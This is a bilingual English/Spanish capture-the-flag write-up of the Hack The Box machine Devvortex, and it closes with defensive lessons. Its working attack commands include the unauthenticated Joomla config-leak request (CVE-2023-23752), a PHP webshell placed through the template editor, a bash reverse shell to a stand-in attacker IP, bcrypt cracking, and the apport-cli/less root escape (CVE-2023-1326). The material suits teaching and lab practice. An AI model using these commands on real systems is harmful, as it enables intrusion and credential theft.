Devvortex
Executive summary — Devvortex is a very current Easy Linux box: a hidden subdomain (
dev.devvortex.htb) hosts a Joomla 4.2.6 vulnerable to CVE-2023-23752, which leaks the database credentials unauthenticated. With them we log into Joomla's admin panel and inject a webshell through the template editor (RCE aswww-data); a bcrypt hash dumped from the users table gives SSH once cracked, and root comes from abusing apport-cli viasudo(CVE-2023-1326), forcing a crash and escaping from thelesspager. A vhost fuzzing → Joomla → info leak → RCE → MySQL → SSH → apport-cli → root path.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.16.227 |
Attack map
[22,80] nmap → SSH held in reserve, nginx with no CMS on the default vhost
│ whatweb + ffuf (Host: FUZZ) → dev.devvortex.htb (Joomla 4.2.6)
▼
CVE-2023-23752 — /api/.../config/application?public=true → MySQL creds (lewis)
│ reused on Joomla's admin panel
▼
[Joomla admin] template editor (Atum) → webshell → RCE (www-data)
│ MySQL → sd4fg_users table → logan's bcrypt hash → hashcat (19 s)
▼
[SSH] logan : tequieromucho (user.txt)
│ sudo -l → /usr/bin/apport-cli (ALL : ALL)
▼
[ROOT] CVE-2023-1326: forced crash → apport-cli opens less as root → !/bin/bash
1. Recon
1.1 Port scan
Without knowing what the box exposes, a full scan of every TCP port (not just the top-1000) avoids missing services on high ports.
nmap -p- --min-rate 5000 -sV -sC -oA devvortex 10.129.16.227
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open http nginx/1.18.0 (Ubuntu)
Only two ports: SSH is kept in reserve until we have credentials, and HTTP is the main attack surface.
1.2 Technology fingerprinting
whatweb http://devvortex.htb
curl -I http://devvortex.htb
Bootstrap, jQuery 3.4.1, nginx 1.18.0, Ubuntu Linux
The main domain shows no CMS at all — it's a static page. That suggests the real application lives elsewhere, likely a different vhost that nginx routes by the Host header.
1.3 Subdomain fuzzing
nginxcommonly acts as a reverse proxy and decides which backend to serve based on the request'sHostheader. Swapping that header for every word in a wordlist, and filtering out responses identical to the default vhost's, uncovers subdomains that don't resolve in public DNS.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H 'Host: FUZZ.devvortex.htb' -fc 302,301
dev [Status: 200, Size: 23221] (the default vhost's response is 18048 bytes)
dev.devvortex.htb returns a different size than the default vhost: a different application sits behind it. Added to /etc/hosts:
echo "10.129.16.227 dev.devvortex.htb" | sudo tee -a /etc/hosts
1.4 Identifying Joomla
whatweb http://dev.devvortex.htb
curl -s http://dev.devvortex.htb/administrator/ | head -50
The /administrator/ path is Joomla's classic login screen. The exact version is confirmed from the installation's manifest file:
curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | grep '<version>'
<version>4.2.6</version>
Resumen ejecutivo — Devvortex es un Linux Easy con una cadena muy actual: un subdominio oculto (
dev.devvortex.htb) aloja un Joomla 4.2.6 vulnerable a CVE-2023-23752, que filtra las credenciales de la base de datos sin autenticación. Con ellas se entra al panel de administración de Joomla y se inyecta una webshell por el editor de plantillas (RCE comowww-data); un hash bcrypt volcado de la tabla de usuarios da acceso SSH tras crackearlo, y el root llega abusando de apport-cli porsudo(CVE-2023-1326), forzando un crash y escapando desde el paginadorless. Recorrido vhost fuzzing → Joomla → info leak → RCE → MySQL → SSH → apport-cli → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.16.227 |
Mapa del ataque
[22,80] nmap → SSH de reserva, nginx sin CMS en el vhost por defecto
│ whatweb + ffuf (Host: FUZZ) → dev.devvortex.htb (Joomla 4.2.6)
▼
CVE-2023-23752 — /api/.../config/application?public=true → creds MySQL (lewis)
│ reutilizadas en el panel de admin de Joomla
▼
[Joomla admin] editor de plantillas (Atum) → webshell → RCE (www-data)
│ MySQL → tabla sd4fg_users → hash bcrypt de logan → hashcat (19 s)
▼
[SSH] logan : tequieromucho (user.txt)
│ sudo -l → /usr/bin/apport-cli (ALL : ALL)
▼
[ROOT] CVE-2023-1326: crash forzado → apport-cli abre less como root → !/bin/bash
1. Reconocimiento
1.1 Escaneo de puertos
Sin saber qué expone la máquina, un escaneo completo de todos los puertos TCP (no solo el top-1000) evita pasar por alto servicios en puertos altos.
nmap -p- --min-rate 5000 -sV -sC -oA devvortex 10.129.16.227
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open http nginx/1.18.0 (Ubuntu)
Solo dos puertos: SSH se guarda para cuando haya credenciales, y HTTP es la superficie de ataque principal.
1.2 Identificación de tecnologías
whatweb http://devvortex.htb
curl -I http://devvortex.htb
Bootstrap, jQuery 3.4.1, nginx 1.18.0, Ubuntu Linux
El dominio principal no muestra ningún CMS: es una página estática. Esto sugiere que la aplicación real vive en otro sitio — probablemente un vhost distinto que nginx enruta por el header Host.
1.3 Fuzzing de subdominios
nginxsuele actuar como reverse proxy y decide qué backend servir según el headerHostde la petición. Sustituyendo ese header por cada palabra de un diccionario, y filtrando las respuestas idénticas a la del vhost por defecto, se pueden descubrir subdominios que no resuelven en DNS público.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H 'Host: FUZZ.devvortex.htb' -fc 302,301
dev [Status: 200, Size: 23221] (la respuesta por defecto pesa 18048 bytes)
dev.devvortex.htb devuelve un tamaño distinto al del vhost por defecto: hay una aplicación diferente detrás. Se añade a /etc/hosts:
echo "10.129.16.227 dev.devvortex.htb" | sudo tee -a /etc/hosts
1.4 Identificación de Joomla
whatweb http://dev.devvortex.htb
curl -s http://dev.devvortex.htb/administrator/ | head -50
La ruta /administrator/ es el panel de login clásico de Joomla. Se confirma la versión exacta consultando el manifiesto de la instalación:
curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | grep '<version>'
<version>4.2.6</version>
2. Foothold — CVE-2023-23752 (config leak)
What it is: an information disclosure affecting Joomla 4.0.0–4.2.7. The REST API exposes the application config endpoint (
/api/index.php/v1/config/application) unauthenticated just by adding the?public=trueparameter, returning the full configuration — including the database credentials in cleartext.
curl -s "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | python3 -m json.tool
user: lewis
password: P4ntherg0t1n5r3c0n##
db: joomla
table prefix: sd4fg_
Database credentials are commonly reused for the admin panel. With lewis / P4ntherg0t1n5r3c0n## we log into /administrator/ as admin.
3. RCE — Joomla's template editor
From the admin panel, Joomla lets you edit installed templates' PHP files directly. Any change there executes with the web server's permissions as soon as the file is requested — it's RCE by design once you're inside the panel.
System → Templates → Administrator Templates → Atum → Details and Files, editing the Atum theme's error.php:
<?php system($_GET['cmd']); ?>
Command execution confirmed:
curl "http://dev.devvortex.htb/administrator/templates/atum/error.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
With RCE confirmed, we spawn a reverse shell:
nc -lvnp 4444
curl -G "http://dev.devvortex.htb/administrator/templates/atum/error.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
And stabilize the interactive shell with the pty + stty trick:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z to background, then on the attacker box:
stty raw -echo; fg
4. Lateral movement — www-data to logan
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
logan:x:1000:1000::/home/logan:/bin/bash
Only two accounts with a shell: root and logan. With the MySQL credentials already in hand, we dump Joomla's users table, where the bcrypt hashes live:
mysql -u lewis -p'P4ntherg0t1n5r3c0n##' -e "use joomla; select username,password from sd4fg_users;"
lewis $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
logan's hash is attacked with hashcat (mode 3200 = bcrypt) and rockyou:
echo '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > hash_logan.txt
hashcat -m 3200 hash_logan.txt /usr/share/wordlists/rockyou.txt
Cracked in 19 seconds → tequieromucho
ssh logan@10.129.16.227 # tequieromucho
cat ~/user.txt
5. Privilege escalation — apport-cli (CVE-2023-1326)
sudo -l
(ALL : ALL) /usr/bin/apport-cli
What CVE-2023-1326 is:
apport-cliis Ubuntu's crash-reporting tool. When viewing a crash report, it shows it with thelesspager. Sinceapport-cliruns viasudoas root,lessinherits those privileges — andlesslets you run shell commands with!command(a technique cataloged in GTFOBins).
apport-cli needs an actual crash report to process. One is forced by killing our own process with SIGSEGV:
sleep 100 &
kill -SIGSEGV $!
apport-cli is run via sudo against the generated crash:
sudo apport-cli -c /var/crash/*.crash
From the interactive menu we pick V (View report), which opens less as root. From inside less, we escape to a shell:
V
!/bin/bash
id → uid=0(root) gid=0(root) groups=0(root)
6. Root flag
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | nginx (vhosts) | Hidden, unlinked subdomain (dev.) found via Host fuzzing | Real attack surface (Joomla) |
| Info leak | Joomla 4.2.6 REST API | CVE-2023-23752 (unauthenticated config leak → MySQL creds) | lewis's credentials |
| Foothold | Joomla admin panel | Template editor → arbitrary PHP write | RCE as www-data |
| Lateral | MySQL / users table | Weak logan bcrypt hash, cracked in 19s | SSH as logan |
| PrivEsc | sudo apport-cli | CVE-2023-1326 (less pager escape) | Root |
Lessons learned
- Always fuzz vhosts/subdomains: the interesting stuff often lives on a
dev./staging.host that isn't linked from the main domain. - Patch the CMS: CVE-2023-23752 leaks database credentials with zero authentication — a plain
curlis enough. - Lock down Joomla's template editor: it's RCE by design for any account with admin-panel access; restrict who can administer the CMS.
- Don't reuse database passwords for admin panels: that's the single step that turns a config leak into full panel access.
- Bcrypt hashes aren't a silver bullet: with a weak password, hashcat cracks them in seconds against a common wordlist.
- Be careful with
sudoover pager-invoking binaries (apport-cli, journalctl, man, git log…): anything that shells out toless/moreis a documented GTFOBins escape.
2. Foothold — CVE-2023-23752 (fuga de configuración)
Qué es: una divulgación de información que afecta a Joomla 4.0.0–4.2.7. La API REST expone el endpoint de configuración de la aplicación (
/api/index.php/v1/config/application) sin autenticación con solo añadir el parámetro?public=true, devolviendo la configuración completa —incluidas las credenciales de la base de datos en texto plano.
curl -s "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | python3 -m json.tool
user: lewis
password: P4ntherg0t1n5r3c0n##
db: joomla
table prefix: sd4fg_
Las credenciales de la base de datos suelen reutilizarse para el panel de administración. Con lewis / P4ntherg0t1n5r3c0n## se entra a /administrator/ como administrador.
3. RCE — editor de plantillas de Joomla
Desde el panel de administración, Joomla permite editar directamente los archivos PHP de las plantillas instaladas. Cualquier cambio ahí se ejecuta con los permisos del servidor web en cuanto se visita el archivo — es RCE por diseño una vez dentro del panel.
System → Templates → Administrator Templates → Atum → Details and Files, editando error.php del tema Atum:
<?php system($_GET['cmd']); ?>
Se verifica la ejecución de comandos:
curl "http://dev.devvortex.htb/administrator/templates/atum/error.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Con RCE confirmado, se lanza una reverse shell:
nc -lvnp 4444
curl -G "http://dev.devvortex.htb/administrator/templates/atum/error.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
Y se estabiliza la shell interactiva con el truco de pty + stty:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z para suspender, luego en la máquina atacante:
stty raw -echo; fg
4. Movimiento lateral — www-data a logan
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
logan:x:1000:1000::/home/logan:/bin/bash
Solo dos cuentas con shell: root y logan. Con las credenciales de MySQL ya conocidas se vuelca la tabla de usuarios de Joomla, donde viven los hashes bcrypt:
mysql -u lewis -p'P4ntherg0t1n5r3c0n##' -e "use joomla; select username,password from sd4fg_users;"
lewis $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
Se ataca el hash de logan con hashcat (modo 3200 = bcrypt) y rockyou:
echo '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > hash_logan.txt
hashcat -m 3200 hash_logan.txt /usr/share/wordlists/rockyou.txt
Cracked en 19 segundos → tequieromucho
ssh logan@10.129.16.227 # tequieromucho
cat ~/user.txt
5. Escalada de privilegios — apport-cli (CVE-2023-1326)
sudo -l
(ALL : ALL) /usr/bin/apport-cli
Qué es CVE-2023-1326:
apport-clies la herramienta de reporte de fallos de Ubuntu. Al ver un informe de crash, lo muestra con el paginadorless. Comoapport-clicorre consudocomo root,lesshereda esos privilegios — ylesspermite ejecutar comandos de shell con!comando(técnica catalogada en GTFOBins).
apport-cli necesita un informe de crash real para procesar. Se fuerza uno matando un proceso propio con SIGSEGV:
sleep 100 &
kill -SIGSEGV $!
Se ejecuta apport-cli vía sudo sobre el crash generado:
sudo apport-cli -c /var/crash/*.crash
En el menú interactivo se elige V (View report), lo que abre less como root. Dentro de less, se escapa a una shell:
V
!/bin/bash
id → uid=0(root) gid=0(root) groups=0(root)
6. Root flag
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon | nginx (vhosts) | Subdominio oculto no enlazado (dev.) hallado por fuzzing de Host | Superficie de ataque real (Joomla) |
| Info leak | Joomla 4.2.6 REST API | CVE-2023-23752 (config leak sin auth → creds MySQL) | Credenciales de lewis |
| Foothold | Panel de administración Joomla | Editor de plantillas → escritura de PHP arbitrario | RCE como www-data |
| Mov. lateral | MySQL / tabla de usuarios | Hash bcrypt de logan débil, crackeado en 19s | SSH como logan |
| PrivEsc | sudo apport-cli | CVE-2023-1326 (escape por el pager less) | Root |
Lecciones aprendidas
- Fuzzea vhosts/subdominios siempre: lo interesante suele vivir en un
dev./staging.que no aparece en el dominio principal. - Actualiza el CMS: CVE-2023-23752 filtra credenciales de base de datos sin ningún tipo de autenticación — un simple
curlbasta. - Restringe el editor de plantillas de Joomla: es RCE por diseño para cualquier cuenta con acceso al panel de administración; limita quién puede administrar.
- No reutilices contraseñas de base de datos para paneles de administración: es el paso que convierte una fuga de config en acceso completo.
- Hashes bcrypt no son inmunes: con una contraseña débil, hashcat los rompe en segundos con un diccionario común.
- Cuidado con
sudosobre binarios con pager (apport-cli, journalctl, man, git log…): cualquiera que invoqueless/morees una vía de escape documentada en GTFOBins.